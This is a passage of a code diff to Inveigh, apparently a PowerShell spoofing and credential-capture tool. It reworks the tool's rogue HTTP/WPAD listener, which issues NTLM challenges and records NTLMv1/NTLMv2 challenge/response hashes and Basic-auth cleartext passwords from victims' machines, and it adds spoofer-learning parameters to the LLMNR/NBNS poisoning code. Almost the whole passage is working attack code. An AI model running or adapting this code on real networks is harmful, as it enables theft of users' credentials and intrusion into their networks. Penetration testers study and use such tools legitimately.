"`";}" } } elseif($WPADResponse -and !$WPADIP -and !$WPADPort) { - $inveigh.status_queue.Add("WPAD Custom Response Enabled") > $null - $inveigh.WPAD_response = $WPADResponse + $inveigh.status_queue.Add("WPAD Custom Response = Enabled") > $null + $WPADResponse = $WPADResponse } - else + elseif($WPADEmptyFile -eq 'Y') { - if($WPADEmptyFile -eq 'Y') - { - $inveigh.status_queue.Add("WPAD Default Response Enabled") > $null - $inveigh.WPAD_response = "function FindProxyForURL(url,host){return `"DIRECT`";}" - } + $inveigh.status_queue.Add("WPAD Default Response = Enabled") > $null + $WPADResponse = "function FindProxyForURL(url,host){return `"DIRECT`";}" } if($Challenge) @@ -680,7 +688,7 @@ if($inveigh.HTTP -or $inveigh.HTTPS) if($MachineAccounts -eq 'N') { - $inveigh.status_queue.Add("Ignoring Machine Accounts") > $null + $inveigh.status_queue.Add("Machine Account Capture = Disabled") > $null $inveigh.machine_accounts = $false } else @@ -690,7 +698,7 @@ else if($ConsoleOutput -eq 'Y') { - $inveigh.status_queue.Add("Real Time Console Output Enabled") > $null + $inveigh.status_queue.Add("Real Time Console Output = Enabled") > $null $inveigh.console_output = $true if($ConsoleStatus -eq 1) @@ -712,7 +720,7 @@ else } else { - $inveigh.status_queue.Add("Real Time Console Output Disabled") > $null + $inveigh.status_queue.Add("Real Time Console Output = Disabled") > $null } } @@ -728,13 +736,13 @@ else if($FileOutput -eq 'Y') { - $inveigh.status_queue.Add("Real Time File Output Enabled") > $null + $inveigh.status_queue.Add("Real Time File Output = Enabled") > $null $inveigh.status_queue.Add("Output Directory = $output_directory") > $null $inveigh.file_output = $true } else { - $inveigh.status_queue.Add("Real Time File Output Disabled") > $null + $inveigh.status_queue.Add("Real Time File Output = Disabled") > $null } if($FileUnique -eq 'Y') @@ -755,56 +763,56 @@ elseif($RunTime -gt 1) $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null } -if($SMBRelay -eq 'N') +if($ShowHelp -eq 'Y') { - - if($ShowHelp -eq 'Y') - { - $inveigh.status_queue.Add("Use Get-Command -Noun Inveigh* to show available functions") > $null - $inveigh.status_queue.Add("Run Stop-Inveigh to stop Inveigh") > $null + $inveigh.status_queue.Add("Run Stop-Inveigh to stop Inveigh") > $null - if($inveigh.console_output) - { - $inveigh.status_queue.Add("Press any key to stop real time console output") > $null - } - + if($inveigh.console_output) + { + $inveigh.status_queue.Add("Press any key to stop real time console output") > $null } - if($inveigh.status_output) +} + +if($inveigh.status_output) +{ + + while($inveigh.status_queue.Count -gt 0) { - while($inveigh.status_queue.Count -gt 0) + if($inveigh.output_stream_only) + { + Write-Output($inveigh.status_queue[0] + $inveigh.newline) + $inveigh.status_queue.RemoveAt(0) + } + else { - if($inveigh.output_stream_only) - { - Write-Output($inveigh.status_queue[0] + $inveigh.newline) - $inveigh.status_queue.RemoveRange(0,1) - } - else + switch -Wildcard ($inveigh.status_queue[0]) { - switch ($inveigh.status_queue[0]) + "* Disabled Due To *" { + Write-Warning($inveigh.status_queue[0]) + $inveigh.status_queue.RemoveAt(0) + } - "Run Stop-Inveigh to stop Inveigh" - { - Write-Warning($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) - } - - "Windows Firewall = Enabled" - { - Write-Warning($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) - } + "Run Stop-Inveigh to stop Inveigh" + { + Write-Warning($inveigh.status_queue[0]) + $inveigh.status_queue.RemoveAt(0) + } - default - { - Write-Output($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) - } + "Windows Firewall = Enabled" + { + Write-Warning($inveigh.status_queue[0]) + $inveigh.status_queue.RemoveAt(0) + } + default + { + Write-Output($inveigh.status_queue[0]) + $inveigh.status_queue.RemoveAt(0) } } @@ -812,18 +820,7 @@ if($SMBRelay -eq 'N') } } -} -else -{ - try - { - Invoke-InveighRelay -HTTP $HTTP -HTTPS $HTTPS -HTTPSCertAppID $HTTPSCertAppID -HTTPSCertThumbprint $HTTPSCertThumbprint -WPADAuth $WPADAuth -SMBRelayTarget $SMBRelayTarget -SMBRelayUsernames $SMBRelayUsernames -SMBRelayAutoDisable $SMBRelayAutoDisable -SMBRelayNetworkTimeout $SMBRelayNetworkTimeout -SMBRelayCommand $SMBRelayCommand -Tool $Tool -ShowHelp $ShowHelp - } - catch - { - $inveigh.running = $false - throw "Invoke-InveighRelay is not loaded" - } + } # Begin ScriptBlocks @@ -831,6 +828,7 @@ else # Shared Basic Functions ScriptBlock $shared_basic_functions_scriptblock = { + function DataToUInt16($field) { [Array]::Reverse($field) @@ -869,6 +867,7 @@ $shared_basic_functions_scriptblock = $string_extract = New-Object System.String ($string_data,0,$string_data.Length) return $string_extract } + } # SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge/response @@ -883,7 +882,7 @@ $SMB_NTLM_functions_scriptblock = $payload = $payload -replace "-","" $NTLM_index = $payload.IndexOf("4E544C4D53535000") - if($payload.SubString(($NTLM_index + 16),8) -eq "02000000") + if($NTLM_index -gt 0 -and $payload.SubString(($NTLM_index + 16),8) -eq "02000000") { $NTLM_challenge = $payload.SubString(($NTLM_index + 48),16) } @@ -899,7 +898,7 @@ $SMB_NTLM_functions_scriptblock = $payload = $payload -replace "-","" $NTLMSSP_hex_offset = $payload.IndexOf("4E544C4D53535000") - if($payload.SubString(($NTLMSSP_hex_offset + 16),8) -eq "03000000") + if($NTLMSSP_hex_offset -gt 0 -and $payload.SubString(($NTLMSSP_hex_offset + 16),8) -eq "03000000") { $NTLMSSP_offset = $NTLMSSP_hex_offset / 2 @@ -923,7 +922,7 @@ $SMB_NTLM_functions_scriptblock = $host_offset = DataLength4 ($NTLMSSP_offset + 48) $payload_bytes $NTLM_host_string = DataToString ($NTLMSSP_offset + $host_offset) $host_length $payload_bytes - if ($NTLM_length -gt 24) + if($NTLM_length -gt 24) { $NTLMv2_response = $NTLM_response.Insert(32,':') $NTLMv2_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLMv2_response @@ -952,9 +951,16 @@ $SMB_NTLM_functions_scriptblock = { $inveigh.NTLMv2_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") } + + if($inveigh.IP_capture_list -notcontains $source_IP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $source_IP -ne $IP) + { + $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) + } + } + } - else + elseif($NTLM_length -eq 24) { $NTLMv1_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $LM_response + ":" + $NTLM_response + ":" + $NTLM_challenge @@ -982,13 +988,16 @@ $SMB_NTLM_functions_scriptblock = { $inveigh.NTLMv1_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") } + + if($inveigh.IP_capture_list -notcontains $source_IP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $source_IP -ne $IP) + { + $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) + } + } - } - if ($inveigh.IP_capture_list -notcontains $source_IP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $source_IP -ne $IP) - { - $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) } + } } @@ -998,20 +1007,21 @@ $SMB_NTLM_functions_scriptblock = # HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener $HTTP_scriptblock = { - param ($HTTPAuth,$HTTPBasicRealm,$WPADAuth) + param ($Challenge,$HTTPAuth,$HTTPBasicRealm,$HTTPDefaultEXE,$HTTPDefaultFile,$HTTPDir,$HTTPResponse,$WPADAuth,$WPADResponse) function NTLMChallengeBase64 { + param ([String]$Challenge) $HTTP_timestamp = Get-Date $HTTP_timestamp = $HTTP_timestamp.ToFileTime() $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp)) $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - if($inveigh.challenge) + if($Challenge) { - $HTTP_challenge = $inveigh.challenge - $HTTP_challenge_bytes = $inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') + $HTTP_challenge = $Challenge + $HTTP_challenge_bytes = $HTTP_challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} } else @@ -1024,19 +1034,19 @@ $HTTP_scriptblock = $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $HTTP_challenge) > $null $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38, - 0x00,0x00,0x00,0x05,0x82,0x89,0xa + - $HTTP_challenge_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, - 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, - 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, - 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, - 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, - 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, - 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, - 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, - 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + - $HTTP_timestamp + - 0x00,0x00,0x00,0x00,0x0a,0x0a + 0x00,0x00,0x00,0x05,0x82,0x89,0xa + + $HTTP_challenge_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, + 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, + 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, + 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, + 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, + 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, + 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, + 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, + 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + + $HTTP_timestamp + + 0x00,0x00,0x00,0x00,0x0a,0x0a $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) $NTLM = 'NTLM ' + $NTLM_challenge_base64 @@ -1054,7 +1064,7 @@ $HTTP_scriptblock = $inveigh.response = $inveigh.context.Response $NTLM = 'NTLM' $NTLM_auth = $false - $Basic_auth = $false + $basic_auth = $false if($inveigh.request.IsSecureConnection) { @@ -1075,8 +1085,9 @@ $HTTP_scriptblock = } $HTTP_request_time = Get-Date -format 's' + $HTTP_source_IP = $inveigh.request.RemoteEndpoint.Address.IPAddressToString - if($HTTP_request_time -eq $HTTP_request_time_old -and $inveigh.request.RawUrl -eq $HTTP_request_raw_url_old -and $inveigh.request.RemoteEndpoint.Address -eq $HTTP_request_remote_endpoint_old) + if($HTTP_request_time -eq $HTTP_request_time_old -and $inveigh.request.RawUrl -eq $HTTP_request_raw_url_old -and $HTTP_source_IP -eq $HTTP_request_remote_endpoint_old) { $HTTP_raw_url_output = $false } @@ -1087,35 +1098,35 @@ $HTTP_scriptblock = if(!$inveigh.request.headers["Authorization"] -and $inveigh.HTTP_listener.IsListening -and $HTTP_raw_url_output) { - $inveigh.console_queue.Add("$HTTP_request_time - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address) - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$HTTP_request_time - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address)]) + $inveigh.console_queue.Add("$HTTP_request_time - $HTTP_type request for " + $inveigh.request.RawUrl + " received from $HTTP_source_IP") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$HTTP_request_time - $HTTP_type request for " + $inveigh.request.RawUrl + " received from $HTTP_source_IP")]) } $HTTP_request_raw_url_old = $inveigh.request.RawUrl - $HTTP_request_remote_endpoint_old = $inveigh.request.RemoteEndpoint.Address + $HTTP_request_remote_endpoint_old = $HTTP_source_IP $HTTP_request_time_old = $HTTP_request_time - [String] $authentication_header = $inveigh.request.headers.GetValues('Authorization') + [String]$authentication_header = $inveigh.request.headers.GetValues('Authorization') if($authentication_header.StartsWith('NTLM ')) { $authentication_header = $authentication_header -replace 'NTLM ','' - [Byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) + [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) $inveigh.response.StatusCode = 401 - if($HTTP_request_bytes[8] -eq 1) + if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00') { $inveigh.response.StatusCode = 401 - $NTLM = NTLMChallengeBase64 + $NTLM = NTLMChallengeBase64 $Challenge } - elseif($HTTP_request_bytes[8] -eq 3) + elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00') { $NTLM = 'NTLM' $HTTP_NTLM_length = DataLength2 20 $HTTP_request_bytes $HTTP_NTLM_offset = DataLength4 24 $HTTP_request_bytes $HTTP_NTLM_domain_length = DataLength2 28 $HTTP_request_bytes $HTTP_NTLM_domain_offset = DataLength4 32 $HTTP_request_bytes - [String] $NTLM_challenge = $inveigh.HTTP_challenge_queue -like $inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + '*' + [String]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $HTTP_source_IP + $inveigh.request.RemoteEndpoint.Port + '*' $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) @@ -1144,27 +1155,27 @@ $HTTP_scriptblock = if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP ($HTTP_NTLM_host_string)")]) $inveigh.NTLMv1_list.Add($inveigh.HTTP_NTLM_hash) - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains $inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n" + $inveigh.HTTP_NTLM_hash) } else { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ") for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string) for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") } - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains ($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")))) + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) { $inveigh.NTLMv1_file_queue.Add($inveigh.HTTP_NTLM_hash) $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) } - if($inveigh.NTLMv1_username_list -notcontains ($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + if($inveigh.NTLMv1_username_list -notcontains ("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) { - $inveigh.NTLMv1_username_list.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") } } @@ -1182,38 +1193,38 @@ $HTTP_scriptblock = $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) $inveigh.NTLMv2_list.Add($inveigh.HTTP_NTLM_hash) - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains ($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains ("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n" + $inveigh.HTTP_NTLM_hash) } else { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ") for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string) for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") } - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains ($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")))) + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains ("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")))) { $inveigh.NTLMv2_file_queue.Add($inveigh.HTTP_NTLM_hash) $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) } - if($inveigh.NTLMv2_username_list -notcontains ($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + if($inveigh.NTLMv2_username_list -notcontains ("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) { - $inveigh.NTLMv2_username_list.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + $inveigh.NTLMv2_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") } } } - if($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address.IPAddressToString -and -not $HTTP_NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat) + if($inveigh.IP_capture_list -notcontains $HTTP_source_IP -and -not $HTTP_NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat) { - $inveigh.IP_capture_list.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString) + $inveigh.IP_capture_list.Add($HTTP_source_IP) } $inveigh.response.StatusCode = 200 $NTLM_auth = $true - $NTLM_challenge = '' + $NTLM_challenge = "" $HTTP_raw_url_output = $true } @@ -1226,13 +1237,13 @@ $HTTP_scriptblock = elseif($authentication_header.StartsWith('Basic ')) # Thanks to @xorrior for the initial basic auth code { $inveigh.response.StatusCode = 200 - $Basic_auth = $true + $basic_auth = $true $authentication_header = $authentication_header -replace 'Basic ','' $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($authentication_header)) - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from " + $inveigh.request.RemoteEndpoint.Address)]) + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from $HTTP_source_IP")]) $inveigh.cleartext_file_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + ",$HTTP_type,$cleartext_credentials") $inveigh.cleartext_list.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + ",$HTTP_type,$cleartext_credentials") - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type Basic auth cleartext credentials $cleartext_credentials captured from " + $inveigh.request.RemoteEndpoint.Address) + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type Basic auth cleartext credentials $cleartext_credentials captured from $HTTP_source_IP") if($inveigh.file_output) { @@ -1241,38 +1252,38 @@ $HTTP_scriptblock = } - if(($HTTPAuth -eq 'Anonymous' -and $inveigh.request.RawUrl -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Anonymous' -and $inveigh.request.RawUrl -match '/wpad.dat') -or $NTLM_Auth -or $Basic_auth) + if(($HTTPAuth -eq 'Anonymous' -and $inveigh.request.RawUrl -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Anonymous' -and $inveigh.request.RawUrl -match '/wpad.dat') -or $NTLM_Auth -or $basic_auth) { - if($inveigh.HTTP_directory -and $inveigh.HTTP_default_EXE -and $inveigh.request.RawUrl -like '*.exe' -and (Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_EXE)) -and !(Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl))) + if($HTTPDir -and $HTTPDefaultEXE -and $inveigh.request.RawUrl -like '*.exe' -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultEXE)) -and !(Test-Path (Join-Path $HTTPDir $inveigh.request.RawUrl))) { - [Byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_EXE)) + [Byte[]]$HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultEXE)) } - elseif($inveigh.HTTP_directory) + elseif($HTTPDir) { - if($inveigh.HTTP_default_file -and !(Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl)) -and (Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file)) -and $inveigh.request.RawUrl -notmatch '/wpad.dat') + if($HTTPDefaultFile -and !(Test-Path (Join-Path $HTTPDir $inveigh.request.RawUrl)) -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultFile)) -and $inveigh.request.RawUrl -notmatch '/wpad.dat') { - [Byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file)) + [Byte[]]$HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultFile)) } - elseif($inveigh.HTTP_default_file -and $inveigh.request.RawUrl -eq '/' -and (Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file))) + elseif($HTTPDefaultFile -and $inveigh.request.RawUrl -eq '/' -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultFile))) { - [Byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file)) + [Byte[]]$HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultFile)) } - elseif($inveigh.WPAD_response -and $inveigh.request.RawUrl -match '/wpad.dat') + elseif($WPADResponse -and $inveigh.request.RawUrl -match '/wpad.dat') { - [Byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.WPAD_response) + [Byte[]]$HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($WPADResponse) } else { - if(Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl)) + if(Test-Path (Join-Path $HTTPDir $inveigh.request.RawUrl)) { - [Byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl)) + [Byte[]]$HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $inveigh.request.RawUrl)) } else { - [Byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.HTTP_response) + [Byte[]]$HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($HTTPResponse) } } @@ -1283,23 +1294,23 @@ $HTTP_scriptblock = if($inveigh.request.RawUrl -match '/wpad.dat') { - $inveigh.message = $inveigh.WPAD_response + $inveigh.message = $WPADResponse } - elseif($inveigh.HTTP_response) + elseif($HTTPResponse) { - $inveigh.message = $inveigh.HTTP_response + $inveigh.message = $HTTPResponse } else { $inveigh.message = $null } - [Byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.message) + [Byte[]]$HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.message) } } else { - [Byte[]] $HTTP_buffer = $null + [Byte[]]$HTTP_buffer = $null } if(($HTTPAuth -eq 'NTLM' -and $inveigh.request.RawUrl -notmatch '/wpad.dat') -or ($WPADAuth -eq 'NTLM' -and $inveigh.request.RawUrl -match '/wpad.dat') -and !$NTLM_auth) @@ -1328,7 +1339,7 @@ $HTTP_scriptblock = # Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer $sniffer_scriptblock = { - param ($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$RunTime,$LLMNRTTL,$NBNSTTL) + param ($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$SpooferLearning,$SpooferLearningDelay,$SpooferLearningInterval,$RunTime,$LLMNRTTL,$NBNSTTL) $byte_in = New-Object System.Byte[] 4 $byte_out = New-Object System.Byte[] 4 @@ -1347,10 +1358,18 @@ $sniffer_scriptblock = [Array]::Reverse($LLMNR_TTL_bytes) $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) [Array]::Reverse($NBNS_TTL_bytes) + $LLMNR_learning_log = New-Object System.Collections.Generic.List[string] + $NBNS_learning_log = New-Object System.Collections.Generic.List[string] + + if($SpooferLearningDelay) + { + $spoofer_learning_delay = New-TimeSpan -Minutes $SpooferLearningDelay + $spoofer_learning_stopwatch = 